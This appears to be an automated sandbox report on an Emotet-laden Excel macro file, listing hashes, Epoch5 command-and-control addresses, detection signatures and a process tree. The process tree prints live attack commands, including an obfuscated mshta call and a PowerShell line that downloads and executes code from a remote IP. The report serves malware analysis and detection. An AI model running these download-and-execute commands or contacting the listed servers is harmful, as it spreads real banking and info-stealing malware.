emotet | bedfbe47fbde08c3b2471c10061982611d471e5feae913cb7f91e63003a1a5cc

General

Target

086135335.xlsm
Size

114KB
MD5

254ffcdec7238f1444fe24932ce54457
SHA1

f279f9375c94edc055cb29d3d511c2b984eea05a
SHA256

bedfbe47fbde08c3b2471c10061982611d471e5feae913cb7f91e63003a1a5cc
SHA512

559fa4d2a1cb30817e0560c676f077884299dd3ec4a8d1955e7058a63c0e2d4e723c76f68b940353163f45d737d0023128c37cd4be26b2728fd71e0981af224a

Score

10^/10

emotet redline epoch5 banker infostealer suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2752	1688	cmd.exe	EXCEL.EXE

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1644-171-0x000001A4BE2F0000-0x000001A4D6460000-memory.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 1316 created 3148 1316 WerFault.exe mshta.exe
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

19 3148 mshta.exe
31 1644 powershell.exe
34 1644 powershell.exe
38 2580 rundll32.exe
39 2580 rundll32.exe
Downloads MZ/PE file
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exe

pid process

3764 rundll32.exe
1468 rundll32.exe
1544 rundll32.exe
2580 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Iowdvjqb\kclggbsegem.tku rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1072 3148 WerFault.exe mshta.exe

description	pid	process	target process
PID 1316 created 3148	1316	WerFault.exe	mshta.exe

flow	pid	process
19	3148	mshta.exe
31	1644	powershell.exe
34	1644	powershell.exe
38	2580	rundll32.exe
39	2580	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
3764	rundll32.exe
1468	rundll32.exe
1544	rundll32.exe
2580	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Iowdvjqb\kclggbsegem.tku	rundll32.exe

pid	pid_target	process	target process
1072	3148	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1688 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid process

1644 powershell.exe
1072 WerFault.exe
1072 WerFault.exe
1644 powershell.exe
2580 rundll32.exe
2580 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1644 powershell.exe

pid	process
1644	powershell.exe
1072	WerFault.exe
1072	WerFault.exe
1644	powershell.exe
2580	rundll32.exe
2580	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1644	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exeWerFault.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1688 wrote to memory of 2752	1688	EXCEL.EXE	cmd.exe
PID 1688 wrote to memory of 2752	1688	EXCEL.EXE	cmd.exe
PID 2752 wrote to memory of 3148	2752	cmd.exe	mshta.exe
PID 2752 wrote to memory of 3148	2752	cmd.exe	mshta.exe
PID 3148 wrote to memory of 1644	3148	mshta.exe	powershell.exe
PID 3148 wrote to memory of 1644	3148	mshta.exe	powershell.exe
PID 1316 wrote to memory of 3148	1316	WerFault.exe	mshta.exe
PID 1316 wrote to memory of 3148	1316	WerFault.exe	mshta.exe
PID 1644 wrote to memory of 3412	1644	powershell.exe	cmd.exe
PID 1644 wrote to memory of 3412	1644	powershell.exe	cmd.exe
PID 3412 wrote to memory of 3764	3412	cmd.exe	rundll32.exe
PID 3412 wrote to memory of 3764	3412	cmd.exe	rundll32.exe
PID 3412 wrote to memory of 3764	3412	cmd.exe	rundll32.exe
PID 3764 wrote to memory of 1468	3764	rundll32.exe	rundll32.exe
PID 3764 wrote to memory of 1468	3764	rundll32.exe	rundll32.exe
PID 3764 wrote to memory of 1468	3764	rundll32.exe	rundll32.exe
PID 1468 wrote to memory of 1544	1468	rundll32.exe	rundll32.exe
PID 1468 wrote to memory of 1544	1468	rundll32.exe	rundll32.exe
PID 1468 wrote to memory of 1544	1468	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 2580	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 2580	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 2580	1544	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\086135335.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2752

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/sec.html
3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:3412

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3764

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1468

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Iowdvjqb\kclggbsegem.tku",FUBgEnAdK
8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Iowdvjqb\kclggbsegem.tku",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2580

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3148 -s 1724
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1072

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 3148 -ip 3148
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1316

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
fcdd109bcdb88089e05aa9dda588ec32

SHA1
2ae8c17b9401869aac6db6ceb087eb24083dc317

SHA256
634a49dc5351f2453022e7f6eebd8e3dbc44ffda315aece868a79416186ce1a8

SHA512
7d6256991f7d5e5af907753311e31d64c07e26ccfbdea8e84432db2cc77d5ed7ffd8ff1ccc9683724ac9dd0291237036e1e5b51559034f61e20fad8ef68ab55e

Download Submit
C:\Users\Public\Documents\ssd.dll
MD5
fcdd109bcdb88089e05aa9dda588ec32

SHA1
2ae8c17b9401869aac6db6ceb087eb24083dc317

SHA256
634a49dc5351f2453022e7f6eebd8e3dbc44ffda315aece868a79416186ce1a8

SHA512
7d6256991f7d5e5af907753311e31d64c07e26ccfbdea8e84432db2cc77d5ed7ffd8ff1ccc9683724ac9dd0291237036e1e5b51559034f61e20fad8ef68ab55e

Download Submit
C:\Users\Public\Documents\ssd.dll
MD5
fcdd109bcdb88089e05aa9dda588ec32

SHA1
2ae8c17b9401869aac6db6ceb087eb24083dc317

SHA256
634a49dc5351f2453022e7f6eebd8e3dbc44ffda315aece868a79416186ce1a8

SHA512
7d6256991f7d5e5af907753311e31d64c07e26ccfbdea8e84432db2cc77d5ed7ffd8ff1ccc9683724ac9dd0291237036e1e5b51559034f61e20fad8ef68ab55e

Download Submit
C:\Windows\SysWOW64\Iowdvjqb\kclggbsegem.tku
MD5
fcdd109bcdb88089e05aa9dda588ec32

SHA1
2ae8c17b9401869aac6db6ceb087eb24083dc317

SHA256
634a49dc5351f2453022e7f6eebd8e3dbc44ffda315aece868a79416186ce1a8

SHA512
7d6256991f7d5e5af907753311e31d64c07e26ccfbdea8e84432db2cc77d5ed7ffd8ff1ccc9683724ac9dd0291237036e1e5b51559034f61e20fad8ef68ab55e

Download Submit
C:\Windows\SysWOW64\Iowdvjqb\kclggbsegem.tku
MD5
fcdd109bcdb88089e05aa9dda588ec32

SHA1
2ae8c17b9401869aac6db6ceb087eb24083dc317

SHA256
634a49dc5351f2453022e7f6eebd8e3dbc44ffda315aece868a79416186ce1a8

SHA512
7d6256991f7d5e5af907753311e31d64c07e26ccfbdea8e84432db2cc77d5ed7ffd8ff1ccc9683724ac9dd0291237036e1e5b51559034f61e20fad8ef68ab55e

Download Submit
memory/1468-185-0x0000000004B30000-0x0000000004B58000-memory.dmp

Filesize
160KB

Download
memory/1468-194-0x0000000004F70000-0x0000000004F98000-memory.dmp

Filesize
160KB

Download
memory/1468-191-0x0000000004F10000-0x0000000004F38000-memory.dmp

Filesize
160KB

Download
memory/1468-189-0x0000000004C90000-0x0000000004CB8000-memory.dmp

Filesize
160KB

Download
memory/1468-187-0x0000000004C30000-0x0000000004C58000-memory.dmp

Filesize
160KB

Download
memory/1544-196-0x00000000042A0000-0x00000000042C8000-memory.dmp

Filesize
160KB

Download
memory/1644-184-0x000001A4D6A70000-0x000001A4D6AE6000-memory.dmp

Filesize
472KB

Download
memory/1644-168-0x000001A4D63F0000-0x000001A4D6412000-memory.dmp

Filesize
136KB

Download
memory/1644-169-0x000001A4BE2F0000-0x000001A4D6460000-memory.dmp

Filesize
385.4MB

Download
memory/1644-171-0x000001A4BE2F0000-0x000001A4D6460000-memory.dmp

Filesize
385.4MB

Download
memory/1644-173-0x000001A4BE2F0000-0x000001A4D6460000-memory.dmp

Filesize
385.4MB

Download
memory/1644-174-0x000001A4D69A0000-0x000001A4D69E4000-memory.dmp

Filesize
272KB

Download
memory/1688-137-0x00007FFF1D810000-0x00007FFF1D820000-memory.dmp

Filesize
64KB

Download
memory/1688-131-0x00007FFF20070000-0x00007FFF20080000-memory.dmp

Filesize
64KB

Download
memory/1688-133-0x00007FFF20070000-0x00007FFF20080000-memory.dmp

Filesize
64KB

Download
memory/1688-130-0x00007FFF20070000-0x00007FFF20080000-memory.dmp

Filesize
64KB

Download
memory/1688-132-0x00007FFF20070000-0x00007FFF20080000-memory.dmp

Filesize
64KB

Download
memory/1688-134-0x00007FFF20070000-0x00007FFF20080000-memory.dmp

Filesize
64KB

Download
memory/1688-138-0x00007FFF1D810000-0x00007FFF1D820000-memory.dmp

Filesize
64KB

Download
memory/2580-199-0x0000000004CD0000-0x0000000004CF8000-memory.dmp

Filesize
160KB

Download
memory/2580-203-0x0000000005580000-0x00000000055A8000-memory.dmp

Filesize
160KB

Download
memory/2580-205-0x00000000055E0000-0x0000000005608000-memory.dmp

Filesize
160KB

Download
memory/2580-207-0x0000000005780000-0x00000000057A8000-memory.dmp

Filesize
160KB

Download
memory/2580-209-0x00000000057E0000-0x0000000005808000-memory.dmp

Filesize
160KB

Download
memory/2580-211-0x00000000058E0000-0x0000000005908000-memory.dmp

Filesize
160KB

Download
memory/2580-213-0x00000000059C0000-0x00000000059E8000-memory.dmp

Filesize
160KB

Download
memory/3764-177-0x0000000004DA0000-0x0000000004DC8000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads